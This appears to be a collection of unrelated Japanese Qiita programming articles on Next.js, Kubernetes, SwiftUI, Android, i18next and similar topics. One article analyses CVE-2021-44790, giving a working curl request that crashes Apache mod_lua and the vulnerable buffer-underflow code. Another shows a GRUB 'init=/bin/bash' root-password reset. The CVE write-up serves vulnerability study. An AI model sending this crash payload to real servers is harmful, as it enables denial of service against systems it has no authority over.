OmniAICreator/Qiita-1.07M huggingface dataset:
【Next.js】公式チュートリアル実践中 #css

<h1>覚え書き</h1>
<ul>
<li>初心者的メモ
<li>Next.js公式チュートリアルやってみた</li>
<li>【CSS】のところ
<li>公式チュートリアルのURL<br>

https://nextjs.org/learn/basics/assets-metadata-css/polishing-layout
</li>
</ul>

<h1><code>-.css</code>ファイルは<br><code>-.module.css</code>とする必要があるらしい</h1>

HTML, CSSの時のcssはリセットCSS以外作った事が無かったのですが、ここで、レイアウト用とテキスト用のmodule.cssをそれぞれ用意するという事を学びました。<br>
（ <code>top</code> = 一番上のフォルダ名</code> ）
<ul>
<li>レイアウトなど用（コンテナー、ヘッダー等構成系？）<br><code>top/components/layout.module.css</code></li>
<li>テキストなど用（font-sizeやline-height等要素系？）<br><code>top/styles/utils.module.css</code></li>
</ul>

<h1>これをimportする構文</h1>

<code>top/components/layout.js</code>と<code>top/pages/index.js</code>にimportする<br>（他ファイルからも読み込ませが必要だったりする？）
```top/components/layout.js
//import
import styles from './layout.module.css';
import utilStyles from '../styles/utils.module.css';
import //その他のimportも記述

//Layoutコンポーネント
export default function Layout ({/* 省略 */}){
    return (
    <div>
    ////省略
        <Head>
        ////<meta><link>など・・・省略
        </Head>
        <header>
        ////省略
        </header>
        <main>
        ////省略
        </main>
        <footer>
        ////省略
        </footer>
    </div>
    );
}
```

<h1>まとめ</h1>

短いですが、まとめを。
<ul>
<li>CSSの書き方の参考になる（悩みやすい初心者）</li>
<li><code>-.module.css</code>ファイルを種類別で生成する</li>
<li>importで読み込ませる</li>
<li>コードやファイル追加によっては状況が変わるかも</li>
<li>初心者メモなのでバグ他ご注意ください😅
</ul>
プログラミング武装は量をこなしたり、バグに対処したりなど、時間や経験の積み重ねだと思ってるので、頑張ってこなしていこうと思います！
kube-proxyの裏側

# kube-proxyの裏側

#### 1. はじめに

**Kubernetesとは？**  
Kubernetesは、コンテナ化されたアプリケーションをデプロイ、スケーリング、および管理するためのオープンソースのオーケストレーションプラットフォームです。

**kube-proxyの役割**  
kube-proxyは、Kubernetesクラスタ内の各ノード上に存在するキーとなるエージェントです。主にServiceオブジェクトとそれに対応するエンドポイントの変更を監視し、これらの変更をノード内のネットワークルールに反映します。

---

#### 2. kube-proxyの基本

**kube-proxyの位置づけ**  
kube-proxyはKubernetesクラスタの通信のコア部分を担当しています。通常、DaemonSetとしてクラスタ内で動作しますが、クラスタのインストールタイプに応じてノード上のLinuxプロセスとして直接インストールすることもできます。

**クラスタ内のトラフィックの流れ**  
トラフィックがServiceに向けられると、それはkube-proxyによって適切なバックエンドPodに転送されます。これはNATルールに従って行われます。

---

#### 3. kube-proxyの動作モード

**iptablesモード**  
最も一般的な動作モード。kube-proxyはiptablesルールを使用してトラフィックをPodにルーティングします。

**IPVSモード**  
IPVSは高性能なトラフィック転送のためのカーネルモジュールで、大規模な環境でのスケーラビリティを向上させます。

**モードの違いと利点**  
iptablesモードはシンプルで、小〜中規模のクラスタには適しています。一方、IPVSモードは大規模なクラスタや高いトラフィックを扱う環境でのパフォーマンスを向上させます。

---

#### 4. エンドポイントの監視とルーティング

**エンドポイントオブジェクトとは？**  
エンドポイントオブジェクトは、特定のServiceが指すPodのIPアドレスとポートの集合を保持します。これにより、トラフィックが適切にルーティングされることが保証されます。

**ルーティングルールの動的な更新**  
kube-proxyは、エンドポイントオブジェクトの変更を常に監視しています。変更があると、kube-proxyはこれを検出し、必要に応じてノードのネットワークルールを更新します。

---

#### 5. Network Address Translation (NAT)とkube-proxy

**DNATとは？**  
DNATは、宛先のIPアドレスやポートを変更するための手法です。これにより、外部からのトラフィックは適切な内部のPodやServiceに転送されます。

**SNATとは？**  
SNATは、送信元のIPアドレスやポートを変更するための手法です。これにより、内部からのトラフィックは適切に外部の宛先に転送され

ます。

**ClusterIPとNAT**  
ClusterIPサービスは、クラスタ内部のみからアクセス可能なIPアドレスを持つServiceのタイプです。外部からのアクセスからIPを隠蔽するためにDNATが使用されます。

---

#### 6. LoadBalancerとkube-proxy

**外部からのトラフィックの流れ**  
LoadBalancerタイプのServiceが使用されると、外部のトラフィックはまずLoadBalancerにルーティングされ、次に適切なノードやPodに転送されます。

**ロードバランサーとの連携**  
kube-proxyはロードバランサーと連携して動作します。ロードバランサーがトラフィックを適切なノードに転送すると、kube-proxyがそのノード内でトラフィックを適切なPodにルーティングします。

**ノード内のトラフィック分散**  
ノード内でのトラフィックの分散は、kube-proxyによって行われます。トラフィックは、Serviceに関連付けられたPodの中からランダムに選択されるか、特定のロードバランシング戦略に基づいてルーティングされます。

---

#### 7. まとめ

**kube-proxyの重要性**  
kube-proxyは、Kubernetesクラスタ内のトラフィックの流れを管理し、ServiceとPodの間で適切なルーティングを行うキーとなるコンポーネントです。

**Kubernetesネットワークの理解の深化**  
Kubernetesのネットワークは、多くの動的な要素と連携して動作します。kube-proxyの役割を理解することは、Kubernetesのネットワーク全体の理解を深めるための鍵となります。
YAMAHA interfaceTrukkingについて

YAMAHAルーターの冗長構成でVRRPを設定した場合、interfaceTrukkingを設定しないと、
WAN障害の際にVRRPが切り替わらない。

	
ip [VRRPを設定するインターフェース] vrrp shutdown trigger [ID] [監視対象のインターフェース]
SwiftUI特定のアイテムまでスクロールする方法

今回は`ScrollViewReader`を使用して特定のアイテムまでスクロールする実装です。

実装サンプル
```SampleScrollViewReader.swift
struct SampleScrollViewReader: View {
    @State private var tee = ["緑茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "麦茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "麦茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "麦茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "麦茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "麦茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "烏龍茶", "ほうじ茶", "ジャスミン茶", "烏龍茶", "ほうじ茶", "ジャスミン茶"]
    
    var body: some View {
        ScrollViewReader { proxy in
            ScrollView {
                VStack {
                    Button(action: {
                        proxy.scrollTo(20)
                    }, label: {
                        Text("ジャンプ20")
                    })
                    ForEach (Array(tee.enumerated()), id: \.offset) { offset, item  in
                            VStack(alignment: .center ,spacing: 0) {
                                Text(item + "\(offset)")
                                    .padding()
                                    .font(.system(size: 30))
                                    .frame(maxWidth: .infinity, alignment: .leading)
                                    .id(offset)
                            }.listRowInsets(EdgeInsets())
                    }
                }
            }
        }
    }
}
```

重要なところは
`.id(offset)`
で設定した値を`proxy.scrollTo`の引数に入れてあげる事でスクロールします。
現在はOS17は画面一番下に、OS15とOS16は画面一番上になるのでそこは注意が必要です！
Enumeratedなカラムで、新しいEnumを追加したら制約違反

# 全体概要
Spring Data JPA、Hibernateを使用したJavaアプリケーションで開発を行っています。  
あるEntityはvalue objectとしてenum型フィールドを持っています。  

# エラー概要  
`@Enumerated(EnumType.STRING)`なフィールドを持つEntityがありました。このアノテーションは、enumクラスをフィールドとするEntityを作成する際に使うアノテーションです。  
いまフィールドに対し、新しいenum定数を定義したところ、INSERT実行時に以下のようなエラーを踏み、少しハマってしまいました。  
```
Check constraint violation: "CONSTRAINT_30: "; SQL statement:
(SQL省略) [23513-220]

could not execute statement [制約違反を確認してください: "CONSTRAINT_30: "
Check constraint violation: "CONSTRAINT_30: "; SQL statement:
省略
org.springframework.dao.DataIntegrityViolationException: could not execute statement [制約違反を確認してください: "CONSTRAINT_30: "
Check constraint violation: "CONSTRAINT_30: "; SQL statement:
(SQL省略) [23513-220]] [(SQL省略))]; SQL [(SQL省略)]; constraint ["CONSTRAINT_30: "; SQL statement:
(SQL省略)[23513-220]]
	at app//org.springframework.orm.jpa.vendor.HibernateJpaDialect.convertHibernateAccessException(HibernateJpaDialect.java:269)
	at app//org.springframework.orm.jpa.vendor.HibernateJpaDialect.translateExceptionIfPossible(HibernateJpaDialect.java:229)
```  

既存enumでは問題なく、追加したenumでのみ発生しました。  
また`Column`アノテーションでlengthを伸ばしても発生し、一意制約違反となるSQLは発行していませんでした。  

# 解決
私の場合、application.propertiesの`spring.jpa.hibernate.ddl-auto`の設定ミスでした。  
どうやらHibernateの上記設定値が`update`の場合、スキーマが更新されず、新規追加したenumの値がenum型カラムとして許容されない値が入ったと怒られるようです。  
パラメータの設定値を`create`に変更し、ビルドしなおすことで解消しました。
[Linux] Asahi Linuxのパスワードを忘れてしまったので再設定した

# 経緯
Mac miniにAsahi Linuxをインストールしたのですが、しばらく使わない間にパスワードを忘れてしまいました。
説明はAsahi Linuxとして行いますが、Linuxなら共通だと思います。
<img width="500" alt="boot_menu.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/e7f4680e-1340-9b7f-f3ff-545e9ea76c67.jpeg">

# パスワードのリセット
早速、パスワードのリセット方法です。
PCを起動し、OS選択画面まで行きます。
<img width="400" alt="boot_menu.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/acc1d6d7-db50-59a0-0260-37a275db6c17.jpeg">
この状態で、`e` キーを押します。
Linuxと書いてある行に **rw loglevel=3 quiet** とあります。
ここを`rw init=/bin/bash`と変更します。
<img width=700" alt="before_grub.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/33531235-b48d-1eaa-d17f-65ac4ec23887.jpeg">
<img width=700" alt="after_grub.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/c1be620a-95ef-d81e-90d1-d66bd5a1fb9d.jpeg">
書き換えたら、`Ctrl + x`を押します。
すると、rootシェルのコマンドプロンプト画面になります。
<img width=400" alt="root.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/c811d43f-8e51-ad9e-ed79-29b3bf0fd0f9.jpeg">
ここで、 `passwd`コマンドでパスワードの変更ができます。
（ユーザーを指定する場合は、`passwd [user]`）
<img width=400" alt="passwd.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/4e6f6e28-699f-ed3c-dd14-8d62916d33c4.jpeg">
変更後は、`reboot -f`で再起動します。
<img width=400" alt="reboot.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2523183/ed08c397-56d7-c7f2-18e7-49ae6f71acc7.jpeg">
再起動したら、新しく設定したパスワードでログインできます。
【Android Studio】エラーInstalled Build Tools revision XX.X.X is corrupted. Remove and install again using the SDK Manager. 対処法

AndroidStudioでビルドを実行しようとすると以下のエラーが出てきました。
```
Installed Build Tools revision 30.0.3 is corrupted. Remove and install again using the SDK Manager.
```

ビルドツールのバージョン30.0.3に問題があるみたいなので、このビルドツールを31.0.0にバージョンアップしてみます。

build.gradleファイルを以下のように変更します。

```
android {
    namespace "com.example.myfirst_app"
    compileSdkVersion 31                 //ここを31に変更
    buildToolsVersion = '31.0.0'         //ここを'31.0.0'に変更 
    ndkVersion flutter.ndkVersion

    compileOptions {
        sourceCompatibility JavaVersion.VERSION_1_8
        targetCompatibility JavaVersion.VERSION_1_8
    }

    kotlinOptions {
        jvmTarget = '1.8'
    }

    sourceSets {
        main.java.srcDirs += 'src/main/kotlin'
    }

    defaultConfig {
        minSdkVersion flutter.minSdkVersion
        targetSdkVersion 31              //ここを31に変更
        versionCode flutterVersionCode.toInteger()
        versionName flutterVersionName
    }
```

これで問題なくビルド実行できました:raised_hands_tone3:
CVE-2021-44790 exploit について

# 概要
Apache 2.4.X < 2.4.52 で実行可能な CVE-2021-44790
頑張れば任意コード実行もできるらしい。
前提としてはlua実行可能となっていること。

# PoC
以下実行でApache鯖は異常終了する
```
$ curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\r\n\r\naaa-' http://127.0.0.1/test.lua
```

# 原因
```c:lua_request.c / req_parsebody() 一部抜粋
        for
        (
            start = strstr((char *) data, multipart);
            start != NULL;
            start = end
        ) {
            i++;
            if (i == POST_MAX_VARS) break;
            crlf = strstr((char *) start, "\r\n\r\n");
            if (!crlf) break;
            end = ap_lua_binstrstr(crlf, (size - (crlf - data)), multipart, len);
            if (end == NULL) break;
            key = (char *) apr_pcalloc(r->pool, 256);
            filename = (char *) apr_pcalloc(r->pool, 256);
            vlen = end - crlf - 8;
            buffer = (char *) apr_pcalloc(r->pool, vlen+1);
            memcpy(buffer, crlf + 4, vlen);
            sscanf(start + len + 2,
                "Content-Disposition: form-data; name=\"%255[^\"]\"; filename=\"%255[^\"]\"",
                key, filename);
            if (*key) {
                req_aprtable2luatable_cb_len(L, key, buffer, vlen);
            }
        }
```

にて、vlen は size_t (typedef unsigned long long size_t) 型 であり、
該当箇所でアンダーフローするケースがある。

```
vlen = end - crlf - 8; // (end - crlf) < 8 でアンダフローする
```

crlf は "\r\n\r\n" を開始とするポインタ → 1つ目の\rが格納されているアドレス
end は "\r\n\r\n"の次の文字からのポインタ → aが格納されているアドレス
である。
今回の場合は
crlf と end の間が 4[Byte] しか離れていないため vlen はアンダフローする。

結果、以下処理でメモリ破壊が行われクラッシュする。
ここで [crlf + 4] ~ [crlf + 4 + vlen] に任意コードの埋め込みに成功すると
bufferを通して実行できそうなイメージはつく。

```
memcpy(buffer, crlf + 4, vlen);
```

# 参考
[CVE - CVE-2021-44790](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44790)

[Apache過去ソースコード](https://archive.apache.org/dist/httpd/)

[mod_lua実行について](https://httpd.apache.org/docs/trunk/mod/mod_lua.html)
Amazon Connect本日不調・・・

先日、発表されたBedRockを試してみたく、
・Amazon Connect
・Lex
・BedRock
の組み合わせで、Call内容に合わせて回答をAIで行うといったものを構想してみました。

とはいえ、私のAWS環境にAmazon Connectのインスタンスを用意してなかったので、さっそく用意。
Amazon Connectのインスタンスを追加作業を行い、下記のようにセットアップ中で、何故か12%のまま1時間ぐらい経っても、まったく反応しません。。。

3連休の中日、早くもやる気を無くし、明日以降頑張ることとしました。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3559943/aea186eb-91dd-7e8c-2d58-600ed1b8cf74.png)
【Android】Android端末の画面サイズを取得する【Kotlin】

# 実践


        val textViewX = findViewById<TextView>(R.id.text_view_x)
        val textViewY = findViewById<TextView>(R.id.text_view_y)
        
        val display: Display = this.windowManager.defaultDisplay
        val point = Point()
        display.getSize(point)

        textViewX.text = point.x.toString()
        textViewY.text = point.y.toString()




参考記事から抜粋し、JavaからKotlinに変換したものです。
参考記事ではバージョン毎に処理を追加していますが、当時の環境のバージョンは現状なかなかないと思いますので、そこは省いて最小限の内容にしてあります。

# 結果

![Screenshot_2023-10-08-19-24-39-04_ee015900260ab508ba0bf0f18dc28a83.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2394054/315eade2-f778-c6d6-5e6e-235c5cb254c6.png)

検証端末は**OPPO Reno A** 
公式サイトでは　ディスプレイサイズは**2340 x 1080**とありました。
画面上方のステータスバーや下方のナビゲーションバーを除いた画面サイズが数字でTextViewに表示できています。





# 参考
https://qiita.com/a_nishimura/items/f557138b2d67b9e1877c
FreeBSDでPCA9547Dを使ってみた

秋月電子で買ってきて、ユニバーサル基板にはりつけて、そのままになっていたPCA9547Dを試して見ました。

https://akizukidenshi.com/catalog/g/gI-09098/

I2CデバイスはLPC810のPSGとEPSONのリアルタイムクロックを使います。

ch0にPSGが接続されています。

```
# i2c -s
Scanning I2C devices on /dev/iic0: 50 51 70 
```

0x50,0x51がPSGで0x70がPCA9547Dです。

ch1に切り替えてリアルタイムクロックが見えるようにします。

```
# printf "\011" | i2c -a 0x70 -d w -c 1
# i2c -s
Scanning I2C devices on /dev/iic0: 50 70 
```

PSGに戻す時は、

```
# printf "\010" | i2c -a 0x70 -d w -c 1
```

です。

printfしてるのは1バイトの8進表記で最下位の3ビットがチャンネルで、次の4ビット目が切り替えのフラグです。

PCA9547Dの使いどころとしては、アドレスが変えられないセンサーを複数つなぎたい場合や、相性が悪いモジュールを別々のバスにするとかでしょうか。
Reactとi18nextを利用して多言語翻訳の実装

## 概要
この記事は、Reactを使用してグローバルに展開したいウェブアプリケーションで多言語サポートを実装する方法を紹介します。具体的には、i18nextというライブラリを使用して、多言語対応の機能を追加します。

## Reactプロジェクトの作成・必要となるパッケージのインストール
最初に、Reactプロジェクトを作成し、必要なパッケージをインストールします。以下のコマンドを実行します。
```bash
npx create-react-app react-i18next-sample
```




次に、i18nextに関連するパッケージをインストールします。
```bash
npm i i18next react-i18next i18next-browser-languagedetector
```

## 英語から日本語への翻訳
まず、i18nextを使用して英語から日本語への翻訳を設定します。これを行うために、以下のファイルを編集します。


このファイルでは、i18nextと関連パッケージを初期化し、英語から日本語への翻訳リソースを設定します。
```src/i18n.js
import i18next from 'i18next';
import { initReactI18next } from 'react-i18next';
import languageDetector from 'i18next-browser-languagedetector';

i18next
    .use(initReactI18next)
    .use(languageDetector)
    .init({
        debug: true,
        fallbackLng: 'en',
        resources: {
            en: {
                translation: {
                    learn: 'Learn React',
                }
            }
        }
    });
```


このファイルでは、i18n.jsをインポートします。
```src/index.js
import './i18n';
```


このファイルでは、i18nから翻訳関数を取得して、コンポーネント内で使用します。
```src/App.js
import { useTranslation } from 'react-i18next';

function App() {
  const { t } = useTranslation();
  return (
    <div className="App">
      <header className="App-header">
        {/* ... */}
        <a
          className="App-link"
          href="https://reactjs.org"
          target="_blank"
          rel="noopener noreferrer"
        >
          {t('learn')}
        </a>
      </header>
    </div>
  );
}

export default App;
}
```

## descriptionの内容をi18nKeyを使って翻訳
次に、コンポーネント内でdescriptionをi18nKeyを使って翻訳します。まず、以下のコードをsrc/App.jsファイルに追加します。

```src/App.js
import { useTranslation, Trans } from 'react-i18next';

<Trans i18nKey="description">
    how to use i18next
</Trans>
```

さらに、src/i18n.js ファイルを以下の内容に変更します。
```src/i18n.js
resources: {
    en: {
        translation: {
            learn: 'Learn React',
            description: 'how to use i18next',
        },
    },
},

```

## 言語切り替えボタンの作成
最後に、言語切り替えボタンを作成します。これにより、ユーザーが言語を切り替えることができます。src/App.jsファイルに以下のコードを追加します。

```src/App.js
const lngs = {
    en: { nativeName: 'English' },
    ja: { nativeName: 'Japanese' },
};

const { t, i18n } = useTranslation();

<div>
    {Object.keys(lngs).map((lng) => (
        <button
            type="submit"
            key={lng}
            onClick={() => i18n.changeLanguage(lng)}
            disabled={i18n.resolvedLanguage === lng}
        >
            {lngs[lng].nativeName}
        </button>
    ))}
</div>
```

さらに、src/i18n.jsファイルに以下の内容を追加します。
```src/i18n.js
ja: {
    translation: {
        learn: 'Reactを学ぶ',
        description: 'i18nextの使い方',
    },
},
```



## まとめ
これで、Reactとi18nextを使用して多言語翻訳を実装する準備が整いました。i18n.jsファイルに翻訳リソースを追加し、言語切り替えボタンを作成することで、多言語対応のReactアプリケーションを構築できます。ユーザーは簡単に言語を切り替えることができ、アプリケーションの多言語対応を実現できます。
エンジニアを目指して

自身の情報
１文系大卒（非情報系）
２社会人5年目26歳（公務員）
３プログラミング取り組み期間1か月
４完全未経験

取り組み内容
・pythonの文法
・paiza learngでのpython学習（現在Bランク）
・競馬予想システムの作成（一か月後を完成目標）最初はローカルでうごくものを、、最終的にはネットで公表したいです。
・基本情報技術者(10/14受験予定)
こんな感じでいろいろ手を出してます。


今後手を出したいこと
・Java（広く使われており、言語として触っておくべきだと思うので、、）
・pythonの画像認識

同時に転職活動も行っています。どこか拾ってくれる会社を探しています。。
やりたいことが多すぎてたいへんです。

学習したことを記録していこうと思っています。
Intel® oneAPI Toolkits のインストール方法

# はじめに
無料でインテルコンパイラーが使えるoneAPIのinstallメモです。

科学系の数値計算の際は，c++,c,fortran言語が使われますが，かつては，有償だったIntel C コンパイラと Intel Fortran コンパイラが無料で使えるようになったみたいです。現在も有償でも販売が行われていますが，無償と有償の差は，公式のサポートの有無の違いのようです。
自分は，c++,c,fortran言語のコンパイラとしてインストールしましたが，画像処理ライブラリーや機械学習系のライブラリも無償で利用可能のようです。

## 環境
- windows 11
- wsl2
- ubuntu 20.04
##  参考サイト

https://www.intel.com/content/www/us/en/docs/oneapi/installation-guide-linux/2023-1/overview.html

https://www.intel.com/content/www/us/en/docs/oneapi/installation-guide-linux/2023-1/apt.html#GUID-497ED29B-51A5-4402-AEA1-EA9E86DD3226



## APTレポジトリの追加
``` bash
wget -O- https://apt.repos.intel.com/intel-gpg-keys/GPG-PUB-KEY-INTEL-SW-PRODUCTS.PUB \
| gpg --dearmor | sudo tee /usr/share/keyrings/oneapi-archive-keyring.gpg > /dev/null
echo "deb [signed-by=/usr/share/keyrings/oneapi-archive-keyring.gpg] https://apt.repos.intel.com/oneapi all main" | sudo tee /etc/apt/sources.list.d/oneAPI.list
sudo apt update
```

## Packagesのインストール
aptレポジトリからインストールで仕切るツールキットは，下記の通り。

| Toolkit Name                                 | 64-bit Meta Package Name (default) | 32-bit Meta Package Name |
| -------------------------------------------- | ---------------------------------- | ------------------------ |
| Intel® oneAPI Base Toolkit                   | intel-basekit                      | intel-basekit-32bit      |
| Intel® oneAPI HPC Toolkit                    | intel-hpckit                       | intel-hpckit-32bit       |
| Intel® oneAPI IoT Toolkit                    | intel-iotkit                       | intel-iotkit-32bit       |
| Intel® oneAPI DL Framework Developer Toolkit | intel-dlfdkit                      | intel-dlfdkit-32bit      |
| Intel® AI Analytics Toolkit                  | intel-aikit                        | intel-aikit-32bit        |
| Intel® oneAPI Rendering Toolkit              | intel-renderkit                    | intel-renderkit-32bit    |

ここでは，intel-basekitとintel-hpckitをインストールします。
科学系の計算をするなら，fortranコンパイラが含まれているintel-hpckitをインストールするのが良いと思います。
``` bash
sudo apt install intel-basekit
sudo apt install intel-hpckit
```
## コンパイラの利用設定
Intel コンパイラを利用するには，以下を実行する必要があります。
~/.bashrcに以下を追記しておくと，ターミナル起動時に自動で設定されるようになります．
``` bash
source /opt/intel/oneapi/setvars.sh
```
:::note info
なお，上記の過程で環境変数`PYTHONPATH`がセットされるので，
必要に応じてunsetするのが良いと思います。
:::
サイトマップ仕様書をExcelの画面一覧仕様書から自動生成してみた

## はじめに

皆さんおはこんばんわ。
サイトマップ（画面遷移図）書いてますか？

サイトマップは、サイトの全体像をサクッと確認できる有能な資料ですが、初回作成やメンテナンスが割りと大変で重労働感が強いのが難点ですよね。

今回は、このサイトマップをExcelの画面一覧仕様書から自動生成するサンプルコードを作成しましたので紹介したいと思います。

## つくったもの

以下、Excel 仕様書を読み込んで、サイトマップを出力するツールです。

- 画面一覧Excel
スクリーンショットはスプレッドシートですが、Excelです。
（サイトはツールのサンプルとして作成した、実在しない架空のECサイトです）

![excel.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136165/011be6a8-78e2-d297-1375-57a1089e9e96.png)

- サイトマップ
左側にサイトマップ、右側に現在選択中のページの情報が表示されます。

![sitemap.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136165/1c3ad77b-cbbe-d8f1-b5ce-5da700c77ac6.png)

(サンプル置き場)
https://github.com/kaku3/workbooks/tree/main/04_%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%83%9E%E3%83%83%E3%83%97/11_src/out

## サンプルのサイトマップ作成方法

0. 事前にnode をインストールしておく
```version
node 16.19.0
```
※Windows だと Volta をインストールするのが簡単

1. リポジトリをクローンまたはダウンロード
https://github.com/kaku3/workbooks/

2. ディレクトリに移動
```cmd
cd 04_インタラクティブサイトマップ/11_src/
```

3. (初回のみ) npm install でモジュールインストール
```cmd
npm install
```

4. サイトマップ作成コマンドを実行
```cmd
node create-sitemap.js --i {Excelファイルパス} --o {サイトマップ出力フォルダ}
# 例)
# node create-sitemap.js --i .\samples\画面設計_sample_ECサイト.xlsx --o out/ECサイト

```

## 解説的なもの

納品物として使えるように、サーバーなしで動作するhtml ファイル形式で出力としました。
変換ツール(`create-sitemap.js`)で、Excel のページ情報を json に変換し、その json を読み込んで、html 上でサイトマップを描くという薄い仕組みにしました。

ページの描画は、flexbox + div タグで、線分を結ぶところは svg として、改造しやすいようにできるだけ簡単な仕組みにしておきました。

images/ フォルダにパスに対応する png ファイルを置くと情報部にサムネが表示されるようにしてあります。（ここは手動）

変換ツールを修正すれば、案件で利用されている Excel を読み込むこともできるかもしれません。
templates/ フォルダ内の、html, css, js を修正すれば、よりよい見た目にすることもできるかもしれません。

## おわりに

業務上Excelでサイトマップを作成することが多いのですが、なんとか楽ができないかなぁと作ってみました。
ページ一覧の作成は必須かと思うので、ページ一覧は作成してサイトマップが自動生成できれば、似て非なる仕様書を作成して二重メンテしなくてよくなるのではと考えました。

[Draw.io Integration](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio) だと図の描画自体はもう少し簡単になるのですが、相手がVS Code を使っていないと図でしか渡せないのが悩ましいところです。

UI Flow も利用はしていたのですが、『思った通り』のサイトマップにするのが難しくて使わなくなってしまってました。

その他よりよいものがありましたら情報を頂けますと幸いです。

(2024/01/20 追記)
figma やサイトへのリンクやエビデンスビュワー機能を追加したところプロジェクトの初期から最後まで参照される仕様書として使えるようになりました。
KaliLinuxのバーチャルボックスへのインストール。NATネットワーク設定、SSH接続まで…

この辺りもつまずいたので備忘録。

NATNetworkにて以下のように設定。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/ef2fe655-3b05-43f6-9aeb-9fde8ec7a6b3.png)


ゲストOSにはIPを10.0.2.5に設定することを前提に設定。
ホストポートはSSH接続で使うので覚えておく
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/85985a78-d82d-7ce7-a5e8-efc445a6e5ac.png)

ネットワーク設定は以下で設定
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/d91b54d4-72b3-e3fa-5a64-ff681d6fdd94.png)

起動して端末を開く。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/b4117396-0dcc-0123-4acf-c613d28d88a2.png)


IP設定
sudo vi /etc/network/interfaces

以下のように書き換える
＃ The loopback network interface
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet static
  address 10.0.2.5  #ゲストOSのIP
  netmask 255.255.255.0
  gateway 10.0.2.1  #デフォルトGW（必ず末尾が.1になる。ここハマった。）
  dns-nameservers 192.168.100.1

再起動
sudo systemctl restart networking.service

ipアドレス確認
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:36:8f:f4 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.5/24 brd 10.0.2.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe36:8ff4/64 scope link proto kernel_ll
       valid_lft forever preferred_lft forever


SSHサーバインストール
$ sudo apt update
$ sudo apt install openssh-server


$ sudo systemctl enable sshd
$ sudo systemctl start sshd

SSH起動確認
$ sudo systemctl status ssh

SSH接続する
localhost：ホストポートでOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/8a72a24a-25cb-7c2c-10f3-87dfbe41ba43.png)


ログイン情報を入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/2f87fc9b-e5a8-0b2e-d8ac-1f199ae0dee3.png)

ログインできた！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2284920/9ab6471b-9e67-05ee-3904-9612ffc5f5de.png)
macOSのzshプロンプトをカスタマイズ

gitブランチ情報とペーストモードを何とかしたかったので、そこだけ設定しました。
`precmd()`で色々やるとかなり動作がもっさりしてしまう。やりすぎ注意。

# カスタム内容

```.zshrc
# env
# PATHとか

# paste mode
unset zle_bracketed_paste

# git info
autoload -Uz vcs_info compinit && compinit
setopt prompt_subst
zstyle ':vcs_info:*' formats ' (%b)'
precmd() { vcs_info }

# prompt
PROMPT='%F{025}%B%~%b%f%F{008}$vcs_info_msg_0_%f %F{008}%#%f '
RPROMPT='%F{008}%D{%H:%M:%S}%f'
```

<br/>

見た目はこんな感じになりました。（VSCode）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3537959/74b92454-8bf9-f2aa-2e3b-73c81d2a1fb9.png)

### paste mode

zshのデフォルトのペーストモードは「**Bracketed Paste Mode**」というものらしく、複数コマンドをコピペしても即実行されない仕様となっています。

・コピペしたコマンドは即実行されず・・・
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3537959/e681bf25-c751-8e97-5e04-4a946455625a.png)
・Enter 入力で実行（3回分）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3537959/824f6f21-8d73-66bf-e201-ced2fef7c638.png)
嫌い！！笑

ということで、`unset zle_bracketed_paste`で設定OFFにすると求めていた動きになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3537959/bc55bfe8-7887-9e87-0a57-b544b542ae15.png)


### git info

ほぼコピペですが、何やっているかある程度理解しておかないと応用効かないなので少し調べました。

・`autoload`： シェル関数の読込。つまり`vcs_info`と`compinit`はシェル関数。
・`-U`： シェル関数内の alias がユーザ定義の alias で上書きされる可能性があり、それを防いでくれる。
・`-z`： zsh 形式での読込指定。
